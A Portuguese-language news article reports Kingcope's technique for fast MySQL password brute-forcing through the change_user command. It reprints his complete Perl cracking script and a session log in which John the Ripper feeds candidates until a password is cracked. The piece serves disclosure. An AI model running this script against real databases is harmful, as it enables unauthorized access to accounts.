Um cracker conhecido como Kingcope, encontrou um outro problema de segurança relacionado ao popular banco de dados MySQL. Utilizando uma característica já conhecida de gerenciamento de banco de dados, é possível aumentar significativamente a velocidade de um ataque de força bruta. Os ataques de brute-force, normalmente, envolvem a técnica de experimentar um grande número possível de senhas, a fim de adivinhar a senha atual do usuário. Cada senha será apresentada para o processo de login, que pode levar um certo tempo, e quando milhares de senhas precisam ser processadas, o tempo pode se tornar substancial.
O que Kingcope tem encontrado, é uma "técnica" que lhe permite testar até 5000 senhas por segundo através da rede, a partir do momento que ele possuir acesso ao banco de dados. Para isso, o atacante requer uma conta sem privilégios para acessar essa base de dados. O script usa essa conta para fazer login e depois usa o comando "change_user" para tentar alterar a conta durante a sessão no MySQL. Ao contrário de inserir uma senha para validar o processo de login, isso funciona com uma conexão de rede já estabelecida, e muito rapidamente, rejeita senhas incorretas.
O cracker usou o utilitário de segurança John The Ripper, com a finalidade de criar uma lista de senhas, documentou o ataque com um script Perl e registro de uma sessão de linha de comando. Para quebrar uma senha de quatro caracteres com acesso remoto à base de dados MySQL, ele levou apenas 20 segundos, com mais de 100.000 combinações de caracteres testados.
The example script
use Net::MySQL;
$|=1;
my $mysql = Net::MySQL->new(
hostname => '192.168.2.3',
database => 'test',
user => "user",
password => "secret",
debug => 0, );
$crackuser = "crackme";
while(<stdin>) {
chomp;
$currentpass = $_;
$vv = join "\0",
$crackuser,
"\x14".
Net::MySQL::Password->scramble(
$currentpass,
$mysql->{salt},
$mysql->{client_capabilities}
) . "\0";
if ($mysql->_execute_command("\x11", $vv) ne undef) {
print "[*] Cracked! --> $currentpass\n";
exit;
}
}
The example session
C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\john
--incremental --stdout=5 | perl mysqlcrack.pl
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
words: 16382 time: 0:00:00:02 w/s: 6262 current: citcH
words: 24573 time: 0:00:00:04 w/s: 4916 current: rap
words: 40956 time: 0:00:00:07 w/s: 5498 current: matc3
words: 49147 time: 0:00:00:09 w/s: 5030 current: 4429
words: 65530 time: 0:00:00:12 w/s: 5354 current: ch141
words: 73721 time: 0:00:00:14 w/s: 5021 current: v3n
words: 90104 time: 0:00:00:17 w/s: 5277 current: pun2
[*] Cracked! --> pass
words: 98295 time: 0:00:00:18 w/s: 5434 current: 43gs
Session aborted
Saiba Mais:
[1] MySQL Local/Remote FAST Account Password Cracking http://lists.grok.org.uk/pipermail/f...er/089076.html